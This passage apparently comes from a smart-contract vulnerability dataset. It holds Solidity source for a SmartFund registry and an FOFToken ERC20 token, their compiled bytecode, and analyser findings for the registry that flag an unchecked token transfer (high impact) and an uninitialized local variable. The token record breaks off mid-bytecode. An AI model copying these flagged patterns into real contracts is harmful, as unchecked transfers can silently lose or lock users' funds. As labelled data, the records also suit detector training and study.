_isRequireTradeVerification ); } smartFunds.push(smartFund); emit SmartFundAdded(smartFund, msg.sender); } function getERC20AddressByFundType(uint256 _fundType) private view returns(address coinAddress){ // Define coin address dependse of fund type coinAddress = _fundType == uint256(FundType.USD) ? stableCoinAddress : COTCoinAddress; } function totalSmartFunds() public view returns (uint256) { return smartFunds.length; } function getAllSmartFundAddresses() public view returns(address[] memory) { address[] memory addresses = new address[](smartFunds.length); for (uint i; i < smartFunds.length; i++) { addresses[i] = address(smartFunds[i]); } return addresses; } /** * @dev Owner can set a new default ExchangePortal address * * @param _newExchangePortalAddress Address of the new exchange portal to be set */ function setExchangePortalAddress(address _newExchangePortalAddress) external onlyOwner { // Require that the new exchange portal is permitted by permittedAddresses require(permittedAddresses.permittedAddresses(_newExchangePortalAddress)); exchangePortalAddress = _newExchangePortalAddress; } /** * @dev Owner can set a new default Portal Portal address * * @param _poolPortalAddress Address of the new pool portal to be set */ function setPoolPortalAddress(address _poolPortalAddress) external onlyOwner { // Require that the new pool portal is permitted by permittedAddresses require(permittedAddresses.permittedAddresses(_poolPortalAddress)); poolPortalAddress = _poolPortalAddress; } /** * @dev Allows the fund manager to connect to a new permitted defi portal * * @param _newDefiPortalAddress The address of the new permitted defi portal to use */ function setDefiPortal(address _newDefiPortalAddress) public onlyOwner { // Require that the new defi portal is permitted by permittedAddresses require(permittedAddresses.permittedAddresses(_newDefiPortalAddress)); defiPortalAddress = _newDefiPortalAddress; } /** * @dev Owner can set maximum success fee for all newly created SmartFunds * * @param _maximumSuccessFee New maximum success fee */ function setMaximumSuccessFee(uint256 _maximumSuccessFee) external onlyOwner { maximumSuccessFee = _maximumSuccessFee; } /** * @dev Owner can set new stableCoinAddress * * @param _stableCoinAddress New stable address */ function setStableCoinAddress(address _stableCoinAddress) external onlyOwner { require(permittedAddresses.permittedAddresses(_stableCoinAddress)); stableCoinAddress = _stableCoinAddress; } /** * @dev Owner can set new smartFundETHFactory * * @param _smartFundETHFactory address of ETH factory contract */ function setNewSmartFundETHFactory(address _smartFundETHFactory) external onlyOwner { smartFundETHFactory = SmartFundETHFactoryInterface(_smartFundETHFactory); } /** * @dev Owner can set new smartFundERC20Factory * * @param _smartFundERC20Factory address of ERC20 factory contract */ function setNewSmartFundERC20Factory(address _smartFundERC20Factory) external onlyOwner { smartFundERC20Factory = SmartFundERC20FactoryInterface(_smartFundERC20Factory); } /** * @dev Owner can set new smartFundETHLightFactory * * @param _smartFundETHLightFactory address of ETH factory contract */ function setNewSmartFundETHLightFactory(address _smartFundETHLightFactory) external onlyOwner { smartFundETHLightFactory = SmartFundETHLightFactoryInterface(_smartFundETHLightFactory); } /** * @dev Owner can set new smartFundERC20LightFactory * * @param _smartFundERC20LightFactory address of ERC20 factory contract */ function setNewSmartFundERC20LightFactory(address _smartFundERC20LightFactory) external onlyOwner { smartFundERC20LightFactory = SmartFundERC20LightFactoryInterface(_smartFundERC20LightFactory); } /** * @dev Allows withdarw tokens from this contract if someone will accidentally send tokens here * * @param _tokenAddress Address of the token to be withdrawn */ function withdrawTokens(address _tokenAddress) external onlyOwner { IERC20 token = IERC20(_tokenAddress); token.transfer(owner(), token.balanceOf(address(this))); } /** * @dev Allows withdarw ETH from this contract if someone will accidentally send tokens here */ function withdrawEther() external onlyOwner { payable(owner()).transfer(address(this).balance); } // Fallback payable function in order to receive ether when fund manager withdraws their cut fallback() external payable {} }
0x6080604052600436106101cd5760003560e01c8063715018a6116100f7578063c821f19e11610095578063d946fe0b11610064578063d946fe0b146106fd578063e4a2097814610712578063eb2b11cb14610727578063f2fde38b1461073c576101cd565b8063c821f19e146105cb578063c86f82b2146105e0578063d26376d91461060a578063d8baadcb146106ca576101cd565b80639495cf5b116100d15780639495cf5b14610547578063982aae461461057a578063a64ec66a1461058f578063b55c12ad146105b6576101cd565b8063715018a6146105085780637362377b1461051d5780638da5cb5b14610532576101cd565b8063376bc2e41161016f578063511627c61161013e578063511627c6146103eb5780635189bcfd146104005780636778bd9d146104c05780636abe0d23146104d5576101cd565b8063376bc2e41461031f57806337b22c941461035257806344879b3b1461038557806349df728c146103b8576101cd565b80631e0ee13a116101ab5780631e0ee13a146102485780632d25bc7514610272578063302c8a28146102d757806334a32600146102ec576101cd565b806303361c29146101cf5780631310730c14610202578063131e64d614610233575b005b3480156101db57600080fd5b506101cd600480360360208110156101f257600080fd5b50356001600160a01b031661076f565b34801561020e57600080fd5b506102176107e9565b604080516001600160a01b039092168252519081900360200190f35b34801561023f57600080fd5b506102176107f8565b34801561025457600080fd5b506101cd6004803603602081101561026b57600080fd5b5035610807565b34801561027e57600080fd5b50610287610864565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156102c35781810151838201526020016102ab565b505050509050019250505060405180910390f35b3480156102e357600080fd5b50610217610919565b3480156102f857600080fd5b506101cd6004803603602081101561030f57600080fd5b50356001600160a01b0316610928565b34801561032b57600080fd5b506101cd6004803603602081101561034257600080fd5b50356001600160a01b0316610a24565b34801561035e57600080fd5b506101cd6004803603602081101561037557600080fd5b50356001600160a01b0316610b20565b34801561039157600080fd5b506101cd600480360360208110156103a857600080fd5b50356001600160a01b0316610b9a565b3480156103c457600080fd5b506101cd600480360360208110156103db57600080fd5b50356001600160a01b0316610c96565b3480156103f757600080fd5b50610217610df7565b34801561040c57600080fd5b506101cd6004803603608081101561042357600080fd5b81019060208101813564010000000081111561043e57600080fd5b82018360208201111561045057600080fd5b8035906020019184600183028401116401000000008311171561047257600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955050823593505050602081013590604001351515610e06565b3480156104cc57600080fd5b5061021761119e565b3480156104e157600080fd5b506101cd600480360360208110156104f857600080fd5b50356001600160a01b03166111ad565b34801561051457600080fd5b506101cd6112a9565b34801561052957600080fd5b506101cd61134b565b34801561053e57600080fd5b506102176113e6565b34801561055357600080fd5b506101cd6004803603602081101561056a57600080fd5b50356001600160a01b03166113f5565b34801561058657600080fd5b5061021761146f565b34801561059b57600080fd5b506105a461147e565b60408051918252519081900360200190f35b3480156105c257600080fd5b50610217611484565b3480156105d757600080fd5b506105a4611493565b3480156105ec57600080fd5b506102176004803603602081101561060357600080fd5b5035611499565b34801561061657600080fd5b506101cd6004803603608081101561062d57600080fd5b81019060208101813564010000000081111561064857600080fd5b82018360208201111561065a57600080fd5b8035906020019184600183028401116401000000008311171561067c57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550508235935050506020810135906040013515156114c0565b3480156106d657600080fd5b506101cd600480360360208110156106ed57600080fd5b50356001600160a01b03166116c5565b34801561070957600080fd5b5061021761173f565b34801561071e57600080fd5b5061021761174e565b34801561073357600080fd5b5061021761175d565b34801561074857600080fd5b506101cd6004803603602081101561075f57600080fd5b50356001600160a01b031661176c565b610777611864565b6000546001600160a01b039081169116146107c7576040805162461bcd60e51b815260206004820181905260248201526000805160206118bd833981519152604482015290519081900360640190fd5b600980546001600160a01b0319166001600160a01b0392909216919091179055565b6009546001600160a01b031681565b600c546001600160a01b031681565b61080f611864565b6000546001600160a01b0390811691161461085f576040805162461bcd60e51b815260206004820181905260248201526000805160206118bd833981519152604482015290519081900360640190fd5b600655565b600154606090819067ffffffffffffffff8111801561088257600080fd5b506040519080825280602002602001820160405280156108ac578160200160208202803683370190505b50905060005b60015481101561091357600181815481106108c957fe5b9060005260206000200160009054906101000a90046001600160a01b03168282815181106108f357fe5b6001600160a01b03909216602092830291909101909101526001016108b2565b50905090565b6003546001600160a01b031681565b610930611864565b6000546001600160a01b03908116911614610980576040805162461bcd60e51b815260206004820181905260248201526000805160206118bd833981519152604482015290519081900360640190fd5b6002546040805163335500e560e11b81526001600160a01b038481166004830152915191909216916366aa01ca916024808301926020929190829003018186803b1580156109cd57600080fd5b505afa1580156109e1573d6000803e3d6000fd5b505050506040513d60208110156109f757600080fd5b5051610a0257600080fd5b600380546001600160a01b0319166001600160a01b0392909216919091179055565b610a2c611864565b6000546001600160a01b03908116911614610a7c576040805162461bcd60e51b815260206004820181905260248201526000805160206118bd833981519152604482015290519081900360640190fd5b6002546040805163335500e560e11b81526001600160a01b038481166004830152915191909216916366aa01ca916024808301926020929190829003018186803b158015610ac957600080fd5b505afa158015610add573d6000803e3d6000fd5b505050506040513d6020811015610af357600080fd5b5051610afe57600080fd5b600580546001600160a01b0319166001600160a01b0392909216919091179055565b610b28611864565b6000546001600160a01b03908116911614610b78576040805162461bcd60e51b815260206004820181905260248201526000805160206118bd833981519152604482015290519081900360640190fd5b600c80546001600160a01b0319166001600160a01b0392909216919091179055565b610ba2611864565b6000546001600160a01b03908116911614610bf2576040805162461bcd60e51b815260206004820181905260248201526000805160206118bd833981519152604482015290519081900360640190fd5b6002546040805163335500e560e11b81526001600160a01b038481166004830152915191909216916366aa01ca916024808301926020929190829003018186803b158015610c3f57600080fd5b505afa158015610c53573d6000803e3d6000fd5b505050506040513d6020811015610c6957600080fd5b5051610c7457600080fd5b600780546001600160a01b0319166001600160a01b0392909216919091179055565b610c9e611864565b6000546001600160a01b03908116911614610cee576040805162461bcd60e51b815260206004820181905260248201526000805160206118bd833981519152604482015290519081900360640190fd5b806001600160a01b03811663a9059cbb610d066113e6565b604080516370a0823160e01b815230600482015290516001600160a01b038616916370a08231916024808301926020929190829003018186803b158015610d4c57600080fd5b505afa158015610d60573d6000803e3d6000fd5b505050506040513d6020811015610d7657600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b03909316600484015260248301919091525160448083019260209291908290030181600087803b158015610dc757600080fd5b505af1158015610ddb573d6000803e3d6000fd5b505050506040513d6020811015610df157600080fd5b50505050565b6008546001600160a01b031681565b600654831115610e1557600080fd5b600082610f5d576009546004805460035460055460025460405163263b428560e01b815233958101868152604482018c90526001600160a01b03958616606483018190529486166084830181905293861660a4830181905292861660c483018190528a151560e4840152610100602484019081528e516101048501528e51979099169863263b428598978f978f979096909590948e9390929091610124019060208b019080838360005b83811015610ed7578181015183820152602001610ebf565b50505050905090810190601f168015610f045780820380516001836020036101000a031916815260200191505b509950505050505050505050602060405180830381600087803b158015610f2a57600080fd5b505af1158015610f3e573d6000803e3d6000fd5b505050506040513d6020811015610f5457600080fd5b50519050611123565b6000610f6884611868565b9050600a60009054906101000a90046001600160a01b03166001600160a01b0316632cbd5d8d338888600460009054906101000a90046001600160a01b0316600360009054906101000a90046001600160a01b0316600560009054906101000a90046001600160a01b0316600260009054906101000a90046001600160a01b0316898c6040518a63ffffffff1660e01b8152600401808a6001600160a01b0316815260200180602001898152602001886001600160a01b03168152602001876001600160a01b03168152602001866001600160a01b03168152602001856001600160a01b03168152602001846001600160a01b03168152602001831515815260200182810382528a818151815260200191508051906020019080838360005b8381101561109f578181015183820152602001611087565b50505050905090810190601f1680156110cc5780820380516001836020036101000a031916815260200191505b509a5050505050505050505050602060405180830381600087803b1580156110f357600080fd5b505af1158015611107573d6000803e3d6000fd5b505050506040513d602081101561111d57600080fd5b50519150505b60018054808201825560009182527fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf60180546001600160a01b0319166001600160a01b03841690811790915560405133927f6eca10d44419b468c7c1f9d9bc8e42a84fd69b9bce297e59f534863eede4aa7991a35050505050565b6004546001600160a01b031681565b6111b5611864565b6000546001600160a01b03908116911614611205576040805162461bcd60e51b815260206004820181905260248201526000805160206118bd833981519152604482015290519081900360640190fd5b6002546040805163335500e560e11b81526001600160a01b038481166004830152915191909216916366aa01ca916024808301926020929190829003018186803b15801561125257600080fd5b505afa158015611266573d6000803e3d6000fd5b505050506040513d602081101561127c57600080fd5b505161128757600080fd5b600480546001600160a01b0319166001600160a01b0392909216919091179055565b6112b1611864565b6000546001600160a01b03908116911614611301576040805162461bcd60e51b815260206004820181905260248201526000805160206118bd833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b611353611864565b6000546001600160a01b039081169116146113a3576040805162461bcd60e51b815260206004820181905260248201526000805160206118bd833981519152604482015290519081900360640190fd5b6113ab6113e6565b6001600160a01b03166108fc479081150290604051600060405180830381858888f193505050501580156113e3573d6000803e3d6000fd5b50565b6000546001600160a01b031690565b6113fd611864565b6000546001600160a01b0390811691161461144d576040805162461bcd60e51b815260206004820181905260248201526000805160206118bd833981519152604482015290519081900360640190fd5b600b80546001600160a01b0319166001600160a01b0392909216919091179055565b6007546001600160a01b031681565b60065481565b600b546001600160a01b031681565b60015490565b600181815481106114a657fe5b6000918252602090912001546001600160a01b0316905081565b6006548311156114cf57600080fd5b6000826115c157600b5460048054600254604051639a7bf5f560e01b815233938101848152604482018a90526001600160a01b03938416606483018190529284166084830181905288151560a484015260c0602484019081528c5160c48501528c519590971696639a7bf5f596958d958d9590948c939092909160e40190602089019080838360005b83811015611570578181015183820152602001611558565b50505050905090810190601f16801561159d5780820380516001836020036101000a031916815260200191505b50975050505050505050602060405180830381600087803b158015610f2a57600080fd5b60006115cc84611868565b600c54600480546002546040516349d595e760e11b815233938101848152604482018c90526001600160a01b03938416606483018190529284166084830181905284881660a48401528a151560c484015260e0602484019081528e5160e48501528e5198995094909616966393ab2bce968e958e959491938b938e93919291610104019060208a019080838360005b8381101561167357818101518382015260200161165b565b50505050905090810190601f1680156116a05780820380516001836020036101000a031916815260200191505b5098505050505050505050602060405180830381600087803b1580156110f357600080fd5b6116cd611864565b6000546001600160a01b0390811691161461171d576040805162461bcd60e51b815260206004820181905260248201526000805160206118bd833981519152604482015290519081900360640190fd5b600a80546001600160a01b0319166001600160a01b0392909216919091179055565b600a546001600160a01b031681565b6005546001600160a01b031681565b6002546001600160a01b031681565b611774611864565b6000546001600160a01b039081169116146117c4576040805162461bcd60e51b815260206004820181905260248201526000805160206118bd833981519152604482015290519081900360640190fd5b6001600160a01b0381166118095760405162461bcd60e51b81526004018080602001828103825260268152602001806118976026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b3390565b600060018214611883576008546001600160a01b0316611890565b6007546001600160a01b03165b9291505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572a26469706673582212203f731834ccbb07cf9551e15028cea21daa0a6d2f5cae5f852df9cc496e3ec99964736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
5,404
0xf4dc590fd2f22e5dec336e65b16347061363281c
pragma solidity ^0.5.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } function isOwner() public view returns (bool) { return msg.sender == _owner; } // function renounceOwnership() public onlyOwner { // emit OwnershipTransferred(_owner, address(0)); // _owner = address(0); // } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library Roles { struct Role { mapping (address => bool) bearer; } function add(Role storage role, address account) internal { require(!has(role, account), "Roles: account already has role"); role.bearer[account] = true; } function remove(Role storage role, address account) internal { require(has(role, account), "Roles: account does not have role"); role.bearer[account] = false; } function has(Role storage role, address account) internal view returns (bool) { require(account != address(0), "Roles: account is the zero address"); return role.bearer[account]; } } contract PauserRole is Ownable { using Roles for Roles.Role; event PauserAdded(address indexed account); event PauserRemoved(address indexed account); Roles.Role private _pausers; constructor () internal { _addPauser(msg.sender); } modifier onlyPauser() { require(isPauser(msg.sender), "PauserRole: caller does not have the Pauser role"); _; } function isPauser(address account) public view returns (bool) { return _pausers.has(account); } function addPauser(address account) public onlyOwner { _addPauser(account); } function removePauser(address account) public onlyOwner { _removePauser(account); } function renouncePauser() public { _removePauser(msg.sender); } function _addPauser(address account) internal { _pausers.add(account); emit PauserAdded(account); } function _removePauser(address account) internal { _pausers.remove(account); emit PauserRemoved(account); } } contract Pausable is PauserRole { event Paused(address account); event Unpaused(address account); bool private _paused; constructor () internal { _paused = false; } function paused() public view returns (bool) { return _paused; } modifier whenNotPaused() { require(!_paused, "Pausable: paused"); _; } modifier whenPaused() { require(_paused, "Pausable: not paused"); _; } function pause() public onlyPauser whenNotPaused { _paused = true; emit Paused(msg.sender); } function unpause() public onlyPauser whenPaused { _paused = false; emit Unpaused(msg.sender); } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; event Issue(address indexed account, uint256 amount); event Redeem(address indexed account, uint256 value); function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } function _issue(address account, uint256 amount) internal { require(account != address(0), "CoinFactory: issue to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); emit Issue(account, amount); } function _redeem(address account, uint256 value) internal { require(account != address(0), "CoinFactory: redeem from the zero address"); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); emit Redeem(account, value); } } contract ERC20Pausable is ERC20, Pausable { function transfer(address to, uint256 value) public whenNotPaused returns (bool) { return super.transfer(to, value); } function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) { return super.transferFrom(from, to, value); } function approve(address spender, uint256 value) public whenNotPaused returns (bool) { return super.approve(spender, value); } function increaseAllowance(address spender, uint addedValue) public whenNotPaused returns (bool) { return super.increaseAllowance(spender, addedValue); } function decreaseAllowance(address spender, uint subtractedValue) public whenNotPaused returns (bool) { return super.decreaseAllowance(spender, subtractedValue); } } contract CoinFactoryAdminRole is Ownable { using Roles for Roles.Role; event CoinFactoryAdminRoleAdded(address indexed account); event CoinFactoryAdminRoleRemoved(address indexed account); Roles.Role private _coinFactoryAdmins; constructor () internal { _addCoinFactoryAdmin(msg.sender); } modifier onlyCoinFactoryAdmin() { require(isCoinFactoryAdmin(msg.sender), "CoinFactoryAdminRole: caller does not have the CoinFactoryAdmin role"); _; } function isCoinFactoryAdmin(address account) public view returns (bool) { return _coinFactoryAdmins.has(account); } function addCoinFactoryAdmin(address account) public onlyOwner { _addCoinFactoryAdmin(account); } function removeCoinFactoryAdmin(address account) public onlyOwner { _removeCoinFactoryAdmin(account); } function renounceCoinFactoryAdmin() public { _removeCoinFactoryAdmin(msg.sender); } function _addCoinFactoryAdmin(address account) internal { _coinFactoryAdmins.add(account); emit CoinFactoryAdminRoleAdded(account); } function _removeCoinFactoryAdmin(address account) internal { _coinFactoryAdmins.remove(account); emit CoinFactoryAdminRoleRemoved(account); } } contract CoinFactory is ERC20, CoinFactoryAdminRole { function issue(address account, uint256 amount) public onlyCoinFactoryAdmin returns (bool) { _issue(account, amount); return true; } function redeem(address account, uint256 amount) public onlyCoinFactoryAdmin returns (bool) { _redeem(account, amount); return true; } } contract BlacklistAdminRole is Ownable { using Roles for Roles.Role; event BlacklistAdminAdded(address indexed account); event BlacklistAdminRemoved(address indexed account); Roles.Role private _blacklistAdmins; constructor () internal { _addBlacklistAdmin(msg.sender); } modifier onlyBlacklistAdmin() { require(isBlacklistAdmin(msg.sender), "BlacklistAdminRole: caller does not have the BlacklistAdmin role"); _; } function isBlacklistAdmin(address account) public view returns (bool) { return _blacklistAdmins.has(account); } function addBlacklistAdmin(address account) public onlyOwner { _addBlacklistAdmin(account); } function removeBlacklistAdmin(address account) public onlyOwner { _removeBlacklistAdmin(account); } function renounceBlacklistAdmin() public { _removeBlacklistAdmin(msg.sender); } function _addBlacklistAdmin(address account) internal { _blacklistAdmins.add(account); emit BlacklistAdminAdded(account); } function _removeBlacklistAdmin(address account) internal { _blacklistAdmins.remove(account); emit BlacklistAdminRemoved(account); } } contract Blacklist is ERC20, BlacklistAdminRole { mapping (address => bool) private _blacklist; event BlacklistAdded(address indexed account); event BlacklistRemoved(address indexed account); function isBlacklist(address account) public view returns (bool) { return _blacklist[account]; } function addBlacklist(address[] memory accounts) public onlyBlacklistAdmin returns (bool) { for(uint i = 0; i < accounts.length; i++) { _addBlacklist(accounts[i]); } } function removeBlacklist(address[] memory accounts) public onlyBlacklistAdmin returns (bool) { for(uint i = 0; i < accounts.length; i++) { _removeBlacklist(accounts[i]); } } function _addBlacklist(address account) internal { _blacklist[account] = true; emit BlacklistAdded(account); } function _removeBlacklist(address account) internal { _blacklist[account] = false; emit BlacklistRemoved(account); } } contract FOFToken is ERC20, ERC20Pausable, CoinFactory, Blacklist { string public name; string public symbol; uint8 public decimals; uint256 private _totalSupply; constructor (string memory _name, string memory _symbol, uint8 _decimals) public { _totalSupply = 0; name = _name; symbol = _symbol; decimals = _decimals; } function transfer(address to, uint256 value) public whenNotPaused returns (bool) { require(!isBlacklist(msg.sender), "FOFToken: caller in blacklist can't transfer"); require(!isBlacklist(to), "FOFToken: not allow to transfer to recipient address in blacklist"); return super.transfer(to, value); } function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) { require(!isBlacklist(msg.sender), "FOFToken: caller in blacklist can't transferFrom"); require(!isBlacklist(from), "FOFToken: from in blacklist can't transfer"); require(!isBlacklist(to), "FOFToken: not allow to transfer to recipient address in blacklist"); return super.transferFrom(from, to, value); } }
0x608060405234801561001057600080fd5b50600436106102065760003560e01c80636ef8d66d1161011a57806395d89b41116100ad578063cf7d6db71161007c578063cf7d6db714610b19578063d3ce790514610b75578063dd62ed3e14610bb9578063e5c855c914610c31578063f2fde38b14610c7557610206565b806395d89b4114610986578063998b479214610a09578063a457c2d714610a4d578063a9059cbb14610ab357610206565b80638456cb59116100e95780638456cb59146108aa578063867904b4146108b45780638da5cb5b1461091a5780638f32d59b1461096457610206565b80636ef8d66d1461073457806370a082311461073e5780637911ef9d1461079657806382dc1ec41461086657610206565b806332068e911161019d5780633f4ba83a1161016c5780633f4ba83a1461062457806346fbf68e1461062e5780635c975abb1461068a5780635e612bab146106ac5780636b2c0f55146106f057610206565b806332068e9114610488578063333e99db1461049257806339509351146104ee5780633d2cc56c1461055457610206565b80631e9a6950116101d95780631e9a69501461036e57806323b872dd146103d4578063243f24731461045a578063313ce5671461046457610206565b806306fdde031461020b578063095ea7b31461028e57806316d2e650146102f457806318160ddd14610350575b600080fd5b610213610cb9565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610253578082015181840152602081019050610238565b50505050905090810190601f1680156102805780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102da600480360360408110156102a457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d57565b604051808215151515815260200191505060405180910390f35b6103366004803603602081101561030a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dee565b604051808215151515815260200191505060405180910390f35b610358610e0b565b6040518082815260200191505060405180910390f35b6103ba6004803603604081101561038457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e15565b604051808215151515815260200191505060405180910390f35b610440600480360360608110156103ea57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e89565b604051808215151515815260200191505060405180910390f35b61046261103f565b005b61046c61104a565b604051808260ff1660ff16815260200191505060405180910390f35b61049061105d565b005b6104d4600480360360208110156104a857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b604051808215151515815260200191505060405180910390f35b61053a6004803603604081101561050457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110be565b604051808215151515815260200191505060405180910390f35b61060a6004803603602081101561056a57600080fd5b810190808035906020019064010000000081111561058757600080fd5b82018360208201111561059957600080fd5b803590602001918460208302840111640100000000831117156105bb57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050611155565b604051808215151515815260200191505060405180910390f35b61062c6111f3565b005b6106706004803603602081101561064457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611353565b604051808215151515815260200191505060405180910390f35b610692611370565b604051808215151515815260200191505060405180910390f35b6106ee600480360360208110156106c257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611387565b005b6107326004803603602081101561070657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061140d565b005b61073c611493565b005b6107806004803603602081101561075457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061149e565b6040518082815260200191505060405180910390f35b61084c600480360360208110156107ac57600080fd5b81019080803590602001906401000000008111156107c957600080fd5b8201836020820111156107db57600080fd5b803590602001918460208302840111640100000000831117156107fd57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506114e7565b604051808215151515815260200191505060405180910390f35b6108a86004803603602081101561087c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611585565b005b6108b261160b565b005b610900600480360360408110156108ca57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061176c565b604051808215151515815260200191505060405180910390f35b6109226117e0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61096c611809565b604051808215151515815260200191505060405180910390f35b61098e611860565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156109ce5780820151818401526020810190506109b3565b50505050905090810190601f1680156109fb5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610a4b60048036036020811015610a1f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118fe565b005b610a9960048036036040811015610a6357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611984565b604051808215151515815260200191505060405180910390f35b610aff60048036036040811015610ac957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611a1b565b604051808215151515815260200191505060405180910390f35b610b5b60048036036020811015610b2f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b70565b604051808215151515815260200191505060405180910390f35b610bb760048036036020811015610b8b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b8d565b005b610c1b60048036036040811015610bcf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c13565b6040518082815260200191505060405180910390f35b610c7360048036036020811015610c4757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c9a565b005b610cb760048036036020811015610c8b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d20565b005b60098054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d4f5780601f10610d2457610100808354040283529160200191610d4f565b820191906000526020600020905b815481529060010190602001808311610d3257829003601f168201915b505050505081565b6000600560009054906101000a900460ff1615610ddc576040517f